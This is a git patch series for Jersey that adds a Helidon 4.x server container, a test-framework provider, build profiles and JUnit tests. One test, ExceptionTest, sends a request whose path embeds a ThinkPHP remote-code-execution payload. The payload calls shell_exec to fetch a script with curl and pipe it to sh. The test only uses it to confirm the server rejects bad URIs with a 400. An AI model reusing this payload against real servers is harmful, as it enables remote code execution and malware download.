+import java.util.logging.Level; +import java.util.logging.Logger; + +public abstract class AbstractHelidonServerTester { + private static final Logger LOGGER = Logger.getLogger(AbstractHelidonServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Helidon choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + if (server != null) { + System.out.println(server.port()); + return server.port(); + } + + final String value = PropertiesHelper.getSystemProperty("jersey.config.test.container.port").run(); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.port(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile WebServer server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + startServer(config); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + if (server == null) { + server = HelidonHttpContainerBuilder.builder() + .uri(baseUri) + .application(config) + .build(); + } + server.start(); + LOGGER.log(Level.INFO, "Helidon-http server started on base uri: " + getBaseUri()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Helidon-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } + +} diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java new file mode 100644 index 0000000000..3bdc4ef01c --- /dev/null +++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java @@ -0,0 +1,167 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AsyncTest extends AbstractHelidonServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + @Disabled + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +} diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java new file mode 100644 index 0000000000..4d5761ec90 --- /dev/null +++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java @@ -0,0 +1,96 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractHelidonServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +} diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java new file mode 100644 index 0000000000..ab7496cb56 --- /dev/null +++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractHelidonServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +} + diff --git a/containers/pom.xml b/containers/pom.xml index ccedd361eb..af69c57f26 100644 --- a/containers/pom.xml +++ b/containers/pom.xml @@ -84,4 +84,16 @@ + + + helidon-container + + [21,) + + + helidon + + + + diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build index cc3401fac9..8a525a732a 100644 --- a/etc/jenkins/Jenkinsfile_ci_build +++ b/etc/jenkins/Jenkinsfile_ci_build @@ -34,7 +34,7 @@ pipeline { steps { sh ''' bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh - export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector ' + export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector,!:configured-client ' bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh ''' } diff --git a/pom.xml b/pom.xml index cdb20097cf..fcd1ea2196 100644 --- a/pom.xml +++ b/pom.xml @@ -2152,6 +2152,7 @@ 3.0.3 3.0.1 3.2.6 + 4.0.11 3.2.8 1.4.14 3.7.1 diff --git a/test-framework/providers/helidon-http/pom.xml b/test-framework/providers/helidon-http/pom.xml new file mode 100644 index 0000000000..f2492eb545 --- /dev/null +++ b/test-framework/providers/helidon-http/pom.xml @@ -0,0 +1,48 @@ + + + + + 4.0.0 + + + org.glassfish.jersey.test-framework.providers + project + 3.1.99-SNAPSHOT + + + jersey-test-framework-provider-helidon + jar + jersey-test-framework-provider-helidon + + Jersey Test Framework - Helidon (4.x) container + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + + + org.glassfish.jersey.containers + jersey-container-helidon-http + ${project.version} + + + + diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java new file mode 100644 index 0000000000..963783b79d --- /dev/null +++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java @@ -0,0 +1,89 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.helidon; + +import io.helidon.webserver.WebServer; +import jakarta.ws.rs.core.UriBuilder; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +public class HelidonTestContainerFactory implements TestContainerFactory { + + private static class HelidonTestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(HelidonTestContainer.class.getName()); + + private URI baseUri; + + private final WebServer server; + + private HelidonTestContainer(final URI baseUri, final DeploymentContext context) { + this.baseUri = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating HelidonTestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + final HelidonHttpContainerBuilder builder = HelidonHttpContainerBuilder.builder() + .application(context.getResourceConfig()) + .uri(this.baseUri); + if (context.getSslContext().isPresent() && context.getSslParameters().isPresent()) { + builder.sslParameters(context.getSslParameters().get()); + builder.sslContext(context.getSslContext().get()); + } + this.server = builder.build(); + + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (!server.isRunning()) { + server.start(); + } + } + + @Override + public void stop() { + if (server.isRunning()) { + server.stop(); + } + } + } + @Override + public TestContainer create(URI baseUri, DeploymentContext deploymentContext) { + return new HelidonTestContainer(baseUri, deploymentContext); + } +} diff --git a/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java new file mode 100644 index 0000000000..651a5f4190 --- /dev/null +++ b/test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java @@ -0,0 +1,22 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + * + */ + +/** + * Test Framework Jersey container provider based on Helidon 4.x. + */ + +package org.glassfish.jersey.test.helidon; \ No newline at end of file diff --git a/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory new file mode 100644 index 0000000000..375a254ed1 --- /dev/null +++ b/test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory @@ -0,0 +1 @@ +org.glassfish.jersey.test.helidon.HelidonTestContainerFactory diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java new file mode 100644 index 0000000000..e7bdb0eebc --- /dev/null +++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Tests finding an available port for container. + * + * @author Michal Gajdos + */ +public class AvailablePortHelidonTest extends JerseyTest { + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new HelidonTestContainerFactory(); + } + + @Path("AvailablePortHelidonTest") + public static class TestResource { + @GET + public String get() { + return "GET"; + } + } + + @Override + protected DeploymentContext configureDeployment() { + forceSet(TestProperties.CONTAINER_PORT, "8080"); + + return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build(); + } + + @Test + public void testGet() { + assertThat(target().getUri().getPort(), not(0)); + assertThat(getBaseUri().getPort(), not(0)); + + assertThat(target("AvailablePortHelidonTest").request().get(String.class), equalTo("GET")); + } +} diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java new file mode 100644 index 0000000000..820554284d --- /dev/null +++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java @@ -0,0 +1,73 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +public class BaseUriTest extends JerseyTest { + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new HelidonTestContainerFactory(); + } + + @Path("root") + public static class TestResource { + @GET + public String get() { + return "GET"; + } + + @Path("sub") + @GET + public String getSub() { + return "sub"; + } + } + + @Override + protected DeploymentContext configureDeployment() { + return DeploymentContext.builder(new ResourceConfig(TestResource.class)) + .contextPath("context1/context2") + .build(); + } + + @Test + public void testGet() { + final WebTarget target = target("root"); + + final String s = target.request().get(String.class); + Assertions.assertEquals("GET", s); + } + + @Test + public void testGetSub() { + final WebTarget target = target("root/sub"); + + final String s = target.request().get(String.class); + Assertions.assertEquals("sub", s); + } + +} diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java new file mode 100644 index 0000000000..a3e046a0ac --- /dev/null +++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java @@ -0,0 +1,107 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.helidon; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Response; +import org.glassfish.hk2.api.ServiceLocator; +import org.glassfish.jersey.helidon.HelidonHttpContainer; +import org.glassfish.jersey.helidon.HelidonHttpContainerBuilder; +import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager; +import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; +import org.jvnet.hk2.internal.ServiceLocatorImpl; + +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Test class for {@link HelidonHttpContainer}. + * + * @author Arul Dhesiaseelan (aruld at acm org) + * @author Miroslav Fuksa + */ +public class HelidonContainerTest extends JerseyTest { + + /** + * Creates new instance. + */ + public HelidonContainerTest() { + super(new HelidonTestContainerFactory()); + } + + @Override + protected ResourceConfig configure() { + return new ResourceConfig(Resource.class); + } + + /** + * Test resource class. + */ + @Path("one") + public static class Resource { + + /** + * Test resource method. + * + * @return Test simple string response. + */ + @GET + public String getSomething() { + return "get"; + } + } + + @Test + /** + * Test {@link Server Helidon Server} container. + */ + public void testHelidonContainerTarget() { + final Response response = target().path("one").request().get(); + + assertEquals(200, response.getStatus(), "Response status unexpected."); + assertEquals("get", response.readEntity(String.class), "Response entity unexpected."); + } + + /** + * Test that defined ServiceLocator becomes a parent of the newly created service locator. + */ + @Test + public void testParentServiceLocator() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final HelidonHttpContainer container = HelidonHttpContainerBuilder.builder().uri(URI.create("http://localhost:9876")) + .application(new ResourceConfig(Resource.class)).parentContext(locator).build(); + InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager(); + + ServiceLocator serviceLocator; + if (injectionManager instanceof ImmediateHk2InjectionManager) { + serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator(); + } else if (injectionManager instanceof DelayedHk2InjectionManager) { + serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator(); + } else { + throw new RuntimeException("Invalid Hk2 InjectionManager"); + } + assertTrue(serviceLocator.getParent() == locator, + "Application injection manager was expected to have defined parent locator"); + } +} diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml index 1bb01c3d56..ad32527035 100644 --- a/test-framework/providers/pom.xml +++ b/test-framework/providers/pom.xml @@ -44,4 +44,15 @@ netty simple + + + helidon-container + + [21,) + + + helidon-http + + + From ada307188bedda695bd20c9d6bdd6a64bee39ea6 Mon Sep 17 00:00:00 2001 From: Maxim Nesen Date: Tue, 3 Sep 2024 13:47:33 +0200 Subject: [PATCH 2/2] Helidon 4.x container Signed-off-by: Maxim Nesen --- .../jersey/helidon/HelidonHttpContainerBuilder.java | 4 +++- .../jersey/helidon/HelidonJerseyRoutingService.java | 7 +------ .../jersey/helidon/AbstractHelidonServerTester.java | 1 - .../jersey/test/helidon/AvailablePortHelidonTest.java | 2 +- 4 files changed, 5 insertions(+), 9 deletions(-) diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java index c9d1d35ac1..cdb97b8141 100644 --- a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java @@ -19,6 +19,7 @@ import io.helidon.common.tls.Tls; import io.helidon.common.tls.TlsConfig; +import io.helidon.config.Config; import io.helidon.webserver.WebServerConfig; import io.helidon.webserver.http.HttpRouting; import jakarta.ws.rs.core.Application; @@ -136,7 +137,8 @@ public Object parentContext() { public HelidonHttpContainer build() { configureBaseUri(); - webServerBuilder.routing(configureRouting()); + webServerBuilder.config(Config.global()) + .routing(configureRouting()); this.tls = configureTls(); if (this.tls != null) { webServerBuilder.tls(this.tls); diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java index 52e0c5be7d..ef4b82b3bc 100644 --- a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java @@ -73,8 +73,6 @@ class HelidonJerseyRoutingService implements HttpService { private static final System.Logger LOGGER = System.getLogger(HelidonJerseyRoutingService.class.getName()); private static final Type REQUEST_TYPE = (new GenericType>() { }).getType(); private static final Type RESPONSE_TYPE = (new GenericType>() { }).getType(); - private static final Set INJECTION_MANAGERS = Collections.newSetFromMap(new WeakHashMap<>()); - private final HelidonJerseyBridge bridge; private HelidonJerseyRoutingService(HelidonJerseyBridge bridge) { this.bridge = bridge; @@ -114,16 +112,13 @@ public void routing(HttpRules rules) { @Override public void beforeStart() { appHandler().onStartup(container()); - INJECTION_MANAGERS.add(appHandler().getInjectionManager()); } @Override public void afterStop() { try { final InjectionManager ij = appHandler().getInjectionManager(); - if (INJECTION_MANAGERS.remove(ij)) { - appHandler().onShutdown(bridge.getContainer()); - } + appHandler().onShutdown(bridge.getContainer()); } catch (Exception e) { if (LOGGER.isLoggable(System.Logger.Level.DEBUG)) { LOGGER.log(System.Logger.Level.DEBUG, "Exception during shutdown of Jersey", e); diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java index 046c73d117..89fa7bbe03 100644 --- a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java +++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java @@ -41,7 +41,6 @@ public abstract class AbstractHelidonServerTester { */ protected final int getPort() { if (server != null) { - System.out.println(server.port()); return server.port(); } diff --git a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java index e7bdb0eebc..a362cbf30c 100644 --- a/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java +++ b/test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java @@ -51,7 +51,7 @@ public String get() { @Override protected DeploymentContext configureDeployment() { - forceSet(TestProperties.CONTAINER_PORT, "8080"); + forceSet(TestProperties.CONTAINER_PORT, "-1"); //Default not defined port in Helidon is -1 return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build(); }